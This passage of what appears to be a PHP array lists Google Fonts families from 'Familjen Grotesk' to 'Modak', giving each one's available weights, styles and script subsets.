      'Familjen Grotesk'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Fanwood Text'=>[['normal','italic'],['latin']],
      'Farro'=>[['300','normal','500','700'],['latin','latin-ext']],
      'Farsan'=>[['normal'],['gujarati','latin','latin-ext','vietnamese']],
      'Fascinate'=>[['normal'],['latin']],
      'Fascinate Inline'=>[['normal'],['latin']],
      'Faster One'=>[['normal'],['latin']],
      'Fasthand'=>[['normal'],['khmer','latin']],
      'Fauna One'=>[['normal'],['latin','latin-ext']],
      'Faustina'=>[['300','normal','500','600','700','800','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Federant'=>[['normal'],['latin']],
      'Federo'=>[['normal'],['latin']],
      'Felipa'=>[['normal'],['latin','latin-ext']],
      'Fenix'=>[['normal'],['latin','latin-ext']],
      'Festive'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Figtree'=>[['300','normal','500','600','700','800','900','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Finger Paint'=>[['normal'],['latin']],
      'Finlandica'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Fira Code'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Fira Mono'=>[['normal','500','700'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Fira Sans'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Fira Sans Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Fira Sans Extra Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Fjalla One'=>[['normal'],['latin','latin-ext']],
      'Fjord One'=>[['normal'],['latin']],
      'Flamenco'=>[['300','normal'],['latin']],
      'Flavors'=>[['normal'],['latin','latin-ext']],
      'Fleur De Leah'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Flow Block'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Flow Circular'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Flow Rounded'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Fondamento'=>[['normal','italic'],['latin','latin-ext']],
      'Fontdiner Swanky'=>[['normal'],['latin']],
      'Forum'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Fragment Mono'=>[['normal','italic'],['cyrillic-ext','latin','latin-ext']],
      'Francois One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Frank Ruhl Libre'=>[['300','normal','500','700','900'],['hebrew','latin','latin-ext']],
      'Fraunces'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Freckle Face'=>[['normal'],['latin','latin-ext']],
      'Fredericka the Great'=>[['normal'],['latin','latin-ext']],
      'Fredoka'=>[['300','normal','500','600','700'],['hebrew','latin','latin-ext']],
      'Fredoka One'=>[['normal'],['latin']],
      'Freehand'=>[['normal'],['khmer','latin']],
      'Fresca'=>[['normal'],['latin','latin-ext']],
      'Frijole'=>[['normal'],['latin']],
      'Fruktur'=>[['normal','italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Fugaz One'=>[['normal'],['latin']],
      'Fuggles'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Fuzzy Bubbles'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'GFS Didot'=>[['normal'],['greek']],
      'GFS Neohellenic'=>[['normal','italic','700','700italic'],['greek']],
      'Gabriela'=>[['normal'],['cyrillic','cyrillic-ext','latin']],
      'Gaegu'=>[['300','normal','700'],['korean','latin']],
      'Gafata'=>[['normal'],['latin','latin-ext']],
      'Galada'=>[['normal'],['bengali','latin']],
      'Galdeano'=>[['normal'],['latin']],
      'Galindo'=>[['normal'],['latin','latin-ext']],
      'Gamja Flower'=>[['normal'],['korean','latin']],
      'Gantari'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Gayathri'=>[['100','normal','700'],['latin','malayalam']],
      'Gelasio'=>[['normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','vietnamese']],
      'Gemunu Libre'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','sinhala']],
      'Genos'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cherokee','latin','latin-ext','vietnamese']],
      'Gentium Book Basic'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Gentium Book Plus'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Gentium Plus'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Geo'=>[['normal','italic'],['latin']],
      'Georama'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Geostar'=>[['normal'],['latin']],
      'Geostar Fill'=>[['normal'],['latin']],
      'Germania One'=>[['normal'],['latin']],
      'Gideon Roman'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Gidugu'=>[['normal'],['latin','telugu']],
      'Gilda Display'=>[['normal'],['latin','latin-ext']],
      'Girassol'=>[['normal'],['latin','latin-ext']],
      'Give You Glory'=>[['normal'],['latin']],
      'Glass Antiqua'=>[['normal'],['latin','latin-ext']],
      'Glegoo'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Gloria Hallelujah'=>[['normal'],['latin']],
      'Glory'=>[['100','200','300','normal','500','600','700','800','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Gluten'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Goblin One'=>[['normal'],['latin']],
      'Gochi Hand'=>[['normal'],['latin']],
      'Goldman'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Gorditas'=>[['normal','700'],['latin']],
      'Gothic A1'=>[['100','200','300','normal','500','600','700','800','900'],['korean','latin']],
      'Gotu'=>[['normal'],['devanagari','latin','latin-ext','vietnamese']],
      'Goudy Bookletter 1911'=>[['normal'],['latin']],
      'Gowun Batang'=>[['normal','700'],['korean','latin','latin-ext','vietnamese']],
      'Gowun Dodum'=>[['normal'],['korean','latin','latin-ext','vietnamese']],
      'Graduate'=>[['normal'],['latin']],
      'Grand Hotel'=>[['normal'],['latin','latin-ext']],
      'Grandstander'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Grape Nuts'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Gravitas One'=>[['normal'],['latin']],
      'Great Vibes'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Grechen Fuemen'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Grenze'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Grenze Gotisch'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Grey Qo'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Griffy'=>[['normal'],['latin','latin-ext']],
      'Gruppo'=>[['normal'],['latin','latin-ext']],
      'Gudea'=>[['normal','italic','700'],['latin','latin-ext']],
      'Gugi'=>[['normal'],['korean','latin']],
      'Gulzar'=>[['normal'],['arabic','latin','latin-ext']],
      'Gupter'=>[['normal','500','700'],['latin']],
      'Gurajada'=>[['normal'],['latin','telugu']],
      'Gwendolyn'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Habibi'=>[['normal'],['latin','latin-ext']],
      'Hachi Maru Pop'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Hahmlet'=>[['100','200','300','normal','500','600','700','800','900'],['korean','latin','latin-ext','vietnamese']],
      'Halant'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Hammersmith One'=>[['normal'],['latin','latin-ext']],
      'Hanalei'=>[['normal'],['latin','latin-ext']],
      'Hanalei Fill'=>[['normal'],['latin','latin-ext']],
      'Handlee'=>[['normal'],['latin']],
      'Hanuman'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Happy Monkey'=>[['normal'],['latin','latin-ext']],
      'Harmattan'=>[['normal','700'],['arabic','latin','latin-ext']],
      'Headland One'=>[['normal'],['latin','latin-ext']],
      'Heebo'=>[['100','200','300','normal','500','600','700','800','900'],['hebrew','latin']],
      'Henny Penny'=>[['normal'],['latin']],
      'Hepta Slab'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Herr Von Muellerhoff'=>[['normal'],['latin','latin-ext']],
      'Hi Melody'=>[['normal'],['korean','latin']],
      'Hina Mincho'=>[['normal'],['cyrillic','japanese','latin','latin-ext','vietnamese']],
      'Hind'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Hind Guntur'=>[['300','normal','500','600','700'],['latin','latin-ext','telugu']],
      'Hind Madurai'=>[['300','normal','500','600','700'],['latin','latin-ext','tamil']],
      'Hind Siliguri'=>[['300','normal','500','600','700'],['bengali','latin','latin-ext']],
      'Hind Vadodara'=>[['300','normal','500','600','700'],['gujarati','latin','latin-ext']],
      'Holtwood One SC'=>[['normal'],['latin']],
      'Homemade Apple'=>[['normal'],['latin']],
      'Homenaje'=>[['normal'],['latin']],
      'Hubballi'=>[['normal'],['kannada','latin','latin-ext']],
      'Hurricane'=>[['normal'],['latin','latin-ext','vietnamese']],
      'IBM Plex Mono'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'IBM Plex Sans'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'IBM Plex Sans Arabic'=>[['100','200','300','normal','500','600','700'],['arabic','cyrillic-ext','latin','latin-ext']],
      'IBM Plex Sans Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'IBM Plex Sans Devanagari'=>[['100','200','300','normal','500','600','700'],['cyrillic-ext','devanagari','latin','latin-ext']],
      'IBM Plex Sans Hebrew'=>[['100','200','300','normal','500','600','700'],['cyrillic-ext','hebrew','latin','latin-ext']],
      'IBM Plex Sans JP'=>[['100','200','300','normal','500','600','700'],['cyrillic','japanese','latin','latin-ext']],
      'IBM Plex Sans KR'=>[['100','200','300','normal','500','600','700'],['korean','latin','latin-ext']],
      'IBM Plex Sans Thai'=>[['100','200','300','normal','500','600','700'],['cyrillic-ext','latin','latin-ext','thai']],
      'IBM Plex Sans Thai Looped'=>[['100','200','300','normal','500','600','700'],['cyrillic-ext','latin','latin-ext','thai']],
      'IBM Plex Serif'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'IM Fell DW Pica'=>[['normal','italic'],['latin']],
      'IM Fell DW Pica SC'=>[['normal'],['latin']],
      'IM Fell Double Pica'=>[['normal','italic'],['latin']],
      'IM Fell Double Pica SC'=>[['normal'],['latin']],
      'IM Fell English'=>[['normal','italic'],['latin']],
      'IM Fell English SC'=>[['normal'],['latin']],
      'IM Fell French Canon'=>[['normal','italic'],['latin']],
      'IM Fell French Canon SC'=>[['normal'],['latin']],
      'IM Fell Great Primer'=>[['normal','italic'],['latin']],
      'IM Fell Great Primer SC'=>[['normal'],['latin']],
      'Ibarra Real Nova'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Iceberg'=>[['normal'],['latin']],
      'Iceland'=>[['normal'],['latin']],
      'Imbue'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Imperial Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Imprima'=>[['normal'],['latin','latin-ext']],
      'Inconsolata'=>[['200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Inder'=>[['normal'],['latin','latin-ext']],
      'Indie Flower'=>[['normal'],['latin']],
      'Ingrid Darling'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Inika'=>[['normal','700'],['latin','latin-ext']],
      'Inknut Antiqua'=>[['300','normal','500','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Inria Sans'=>[['300','300italic','normal','italic','700','700italic'],['latin','latin-ext']],
      'Inria Serif'=>[['300','300italic','normal','italic','700','700italic'],['latin','latin-ext']],
      'Inspiration'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Inter'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Inter Tight'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Irish Grover'=>[['normal'],['latin']],
      'Island Moments'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Istok Web'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Italiana'=>[['normal'],['latin']],
      'Italianno'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Itim'=>[['normal'],['latin','latin-ext','thai','vietnamese']],
      'Jacques Francois'=>[['normal'],['latin']],
      'Jacques Francois Shadow'=>[['normal'],['latin']],
      'Jaldi'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'JetBrains Mono'=>[['100','200','300','normal','500','600','700','800','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Jim Nightshade'=>[['normal'],['latin','latin-ext']],
      'Joan'=>[['normal'],['latin','latin-ext']],
      'Jockey One'=>[['normal'],['latin','latin-ext']],
      'Jolly Lodger'=>[['normal'],['latin','latin-ext']],
      'Jomhuria'=>[['normal'],['arabic','latin','latin-ext']],
      'Jomolhari'=>[['normal'],['latin','tibetan']],
      'Josefin Sans'=>[['100','200','300','normal','500','600','700','100italic','200italic','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Josefin Slab'=>[['100','200','300','normal','500','600','700','100italic','200italic','300italic','italic','500italic','600italic','700italic'],['latin']],
      'Jost'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','latin','latin-ext']],
      'Joti One'=>[['normal'],['latin','latin-ext']],
      'Jua'=>[['normal'],['korean','latin']],
      'Judson'=>[['normal','italic','700'],['latin','latin-ext','vietnamese']],
      'Julee'=>[['normal'],['latin']],
      'Julius Sans One'=>[['normal'],['latin','latin-ext']],
      'Junge'=>[['normal'],['latin']],
      'Jura'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','greek','greek-ext','kayah-li','latin','latin-ext','vietnamese']],
      'Just Another Hand'=>[['normal'],['latin']],
      'Just Me Again Down Here'=>[['normal'],['latin','latin-ext']],
      'K2D'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['latin','latin-ext','thai','vietnamese']],
      'Kadwa'=>[['normal','700'],['devanagari','latin']],
      'Kaisei Decol'=>[['normal','500','700'],['cyrillic','japanese','latin','latin-ext']],
      'Kaisei HarunoUmi'=>[['normal','500','700'],['cyrillic','japanese','latin','latin-ext']],
      'Kaisei Opti'=>[['normal','500','700'],['cyrillic','japanese','latin','latin-ext']],
      'Kaisei Tokumin'=>[['normal','500','700','800'],['cyrillic','japanese','latin','latin-ext']],
      'Kalam'=>[['300','normal','700'],['devanagari','latin','latin-ext']],
      'Kameron'=>[['normal','700'],['latin']],
      'Kanit'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','thai','vietnamese']],
      'Kantumruy'=>[['300','normal','700'],['khmer']],
      'Kantumruy Pro'=>[['100','200','300','normal','500','600','700','100italic','200italic','300italic','italic','500italic','600italic','700italic'],['khmer','latin','latin-ext']],
      'Karantina'=>[['300','normal','700'],['hebrew','latin','latin-ext']],
      'Karla'=>[['200','300','normal','500','600','700','800','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext']],
      'Karma'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Katibeh'=>[['normal'],['arabic','latin','latin-ext']],
      'Kaushan Script'=>[['normal'],['latin','latin-ext']],
      'Kavivanar'=>[['normal'],['latin','latin-ext','tamil']],
      'Kavoon'=>[['normal'],['latin','latin-ext']],
      'Kdam Thmor Pro'=>[['normal'],['khmer','latin','latin-ext']],
      'Keania One'=>[['normal'],['latin','latin-ext']],
      'Kelly Slab'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Kenia'=>[['normal'],['latin']],
      'Khand'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Khmer'=>[['normal'],['khmer']],
      'Khula'=>[['300','normal','600','700','800'],['devanagari','latin','latin-ext']],
      'Kings'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Kirang Haerang'=>[['normal'],['korean','latin']],
      'Kite One'=>[['normal'],['latin']],
      'Kiwi Maru'=>[['300','normal','500'],['cyrillic','japanese','latin','latin-ext']],
      'Klee One'=>[['normal','600'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'Knewave'=>[['normal'],['latin','latin-ext']],
      'KoHo'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Kodchasan'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Koh Santepheap'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Kolker Brush'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Kosugi'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Kosugi Maru'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Kotta One'=>[['normal'],['latin','latin-ext']],
      'Koulen'=>[['normal'],['khmer','latin']],
      'Kranky'=>[['normal'],['latin']],
      'Kreon'=>[['300','normal','500','600','700'],['latin','latin-ext']],
      'Kristi'=>[['normal'],['latin']],
      'Krona One'=>[['normal'],['latin','latin-ext']],
      'Krub'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Kufam'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['arabic','latin','latin-ext','vietnamese']],
      'Kulim Park'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic'],['latin','latin-ext']],
      'Kumar One'=>[['normal'],['gujarati','latin','latin-ext']],
      'Kumar One Outline'=>[['normal'],['gujarati','latin','latin-ext']],
      'Kumbh Sans'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext']],
      'Kurale'=>[['normal'],['cyrillic','cyrillic-ext','devanagari','latin','latin-ext']],
      'La Belle Aurore'=>[['normal'],['latin']],
      'Lacquer'=>[['normal'],['latin']],
      'Laila'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Lakki Reddy'=>[['normal'],['latin','telugu']],
      'Lalezar'=>[['normal'],['arabic','latin','latin-ext','vietnamese']],
      'Lancelot'=>[['normal'],['latin','latin-ext']],
      'Langar'=>[['normal'],['gurmukhi','latin','latin-ext']],
      'Lateef'=>[['200','300','normal','500','600','700','800'],['arabic','latin','latin-ext']],
      'Lato'=>[['100','100italic','300','300italic','normal','italic','700','700italic','900','900italic'],['latin','latin-ext']],
      'Lavishly Yours'=>[['normal'],['latin','latin-ext','vietnamese']],
      'League Gothic'=>[['normal'],['latin','latin-ext','vietnamese']],
      'League Script'=>[['normal'],['latin']],
      'League Spartan'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Leckerli One'=>[['normal'],['latin']],
      'Ledger'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Lekton'=>[['normal','italic','700'],['latin','latin-ext']],
      'Lemon'=>[['normal'],['latin']],
      'Lemonada'=>[['300','normal','500','600','700'],['arabic','latin','latin-ext','vietnamese']],
      'Lexend'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Deca'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Exa'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Giga'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Mega'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Peta'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Tera'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Zetta'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Libre Barcode 128'=>[['normal'],['latin']],
      'Libre Barcode 128 Text'=>[['normal'],['latin']],
      'Libre Barcode 39'=>[['normal'],['latin']],
      'Libre Barcode 39 Extended'=>[['normal'],['latin']],
      'Libre Barcode 39 Extended Text'=>[['normal'],['latin']],
      'Libre Barcode 39 Text'=>[['normal'],['latin']],
      'Libre Barcode EAN13 Text'=>[['normal'],['latin']],
      'Libre Baskerville'=>[['normal','italic','700'],['latin','latin-ext']],
      'Libre Bodoni'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Libre Caslon Display'=>[['normal'],['latin','latin-ext']],
      'Libre Caslon Text'=>[['normal','italic','700'],['latin','latin-ext']],
      'Libre Franklin'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Licorice'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Life Savers'=>[['normal','700','800'],['latin','latin-ext']],
      'Lilita One'=>[['normal'],['latin','latin-ext']],
      'Lily Script One'=>[['normal'],['latin','latin-ext']],
      'Limelight'=>[['normal'],['latin','latin-ext']],
      'Linden Hill'=>[['normal','italic'],['latin']],
      'Literata'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Liu Jian Mao Cao'=>[['normal'],['chinese-simplified','latin']],
      'Livvic'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Lobster'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Lobster Two'=>[['normal','italic','700','700italic'],['latin']],
      'Londrina Outline'=>[['normal'],['latin']],
      'Londrina Shadow'=>[['normal'],['latin']],
      'Londrina Sketch'=>[['normal'],['latin']],
      'Londrina Solid'=>[['100','300','normal','900'],['latin']],
      'Long Cang'=>[['normal'],['chinese-simplified','latin']],
      'Lora'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Love Light'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Love Ya Like A Sister'=>[['normal'],['latin']],
      'Loved by the King'=>[['normal'],['latin']],
      'Lovers Quarrel'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Luckiest Guy'=>[['normal'],['latin']],
      'Lusitana'=>[['normal','700'],['latin']],
      'Lustria'=>[['normal'],['latin']],
      'Luxurious Roman'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Luxurious Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'M PLUS 1'=>[['100','200','300','normal','500','600','700','800','900'],['japanese','latin','latin-ext','vietnamese']],
      'M PLUS 1 Code'=>[['100','200','300','normal','500','600','700'],['japanese','latin','latin-ext','vietnamese']],
      'M PLUS 1p'=>[['100','300','normal','500','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','japanese','latin','latin-ext','vietnamese']],
      'M PLUS 2'=>[['100','200','300','normal','500','600','700','800','900'],['japanese','latin','latin-ext','vietnamese']],
      'M PLUS Code Latin'=>[['100','200','300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'M PLUS Rounded 1c'=>[['100','300','normal','500','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','japanese','latin','latin-ext','vietnamese']],
      'Ma Shan Zheng'=>[['normal'],['chinese-simplified','latin']],
      'Macondo'=>[['normal'],['latin']],
      'Macondo Swash Caps'=>[['normal'],['latin']],
      'Mada'=>[['200','300','normal','500','600','700','900'],['arabic','latin']],
      'Magra'=>[['normal','700'],['latin','latin-ext']],
      'Maiden Orange'=>[['normal'],['latin']],
      'Maitree'=>[['200','300','normal','500','600','700'],['latin','latin-ext','thai','vietnamese']],
      'Major Mono Display'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Mako'=>[['normal'],['latin']],
      'Mali'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Mallanna'=>[['normal'],['latin','telugu']],
      'Mandali'=>[['normal'],['latin','telugu']],
      'Manjari'=>[['100','normal','700'],['latin','latin-ext','malayalam']],
      'Manrope'=>[['200','300','normal','500','600','700','800'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Mansalva'=>[['normal'],['greek','latin','latin-ext','vietnamese']],
      'Manuale'=>[['300','normal','500','600','700','800','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Marcellus'=>[['normal'],['latin','latin-ext']],
      'Marcellus SC'=>[['normal'],['latin','latin-ext']],
      'Marck Script'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Margarine'=>[['normal'],['latin','latin-ext']],
      'Marhey'=>[['300','normal','500','600','700'],['arabic','latin','latin-ext']],
      'Markazi Text'=>[['normal','500','600','700'],['arabic','latin','latin-ext','vietnamese']],
      'Marko One'=>[['normal'],['latin']],
      'Marmelad'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Martel'=>[['200','300','normal','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Martel Sans'=>[['200','300','normal','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Marvel'=>[['normal','italic','700','700italic'],['latin']],
      'Mate'=>[['normal','italic'],['latin']],
      'Mate SC'=>[['normal'],['latin']],
      'Maven Pro'=>[['normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'McLaren'=>[['normal'],['latin','latin-ext']],
      'Mea Culpa'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Meddon'=>[['normal'],['latin']],
      'MedievalSharp'=>[['normal'],['latin','latin-ext']],
      'Medula One'=>[['normal'],['latin']],
      'Meera Inimai'=>[['normal'],['latin','tamil']],
      'Megrim'=>[['normal'],['latin']],
      'Meie Script'=>[['normal'],['latin','latin-ext']],
      'Meow Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Merienda'=>[['300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Merienda One'=>[['normal'],['latin']],
      'Merriweather'=>[['300','300italic','normal','italic','700','700italic','900','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Merriweather Sans'=>[['300','normal','500','600','700','800','300italic','italic','500italic','600italic','700italic','800italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Metal'=>[['normal'],['khmer','latin']],
      'Metal Mania'=>[['normal'],['latin','latin-ext']],
      'Metamorphous'=>[['normal'],['latin','latin-ext']],
      'Metrophobic'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Michroma'=>[['normal'],['latin']],
      'Milonga'=>[['normal'],['latin','latin-ext']],
      'Miltonian'=>[['normal'],['latin']],
      'Miltonian Tattoo'=>[['normal'],['latin']],
      'Mina'=>[['normal','700'],['bengali','latin','latin-ext']],
      'Mingzat'=>[['normal'],['latin','latin-ext','lepcha']],
      'Miniver'=>[['normal'],['latin']],
      'Miriam Libre'=>[['normal','700'],['hebrew','latin','latin-ext']],
      'Mirza'=>[['normal','500','600','700'],['arabic','latin','latin-ext']],
      'Miss Fajardose'=>[['normal'],['latin','latin-ext']],
      'Mitr'=>[['200','300','normal','500','600','700'],['latin','latin-ext','thai','vietnamese']],
      'Mochiy Pop One'=>[['normal'],['japanese','latin']],
      'Mochiy Pop P One'=>[['normal'],['japanese','latin']],
      'Modak'=>[['normal'],['devanagari','latin','latin-ext']],
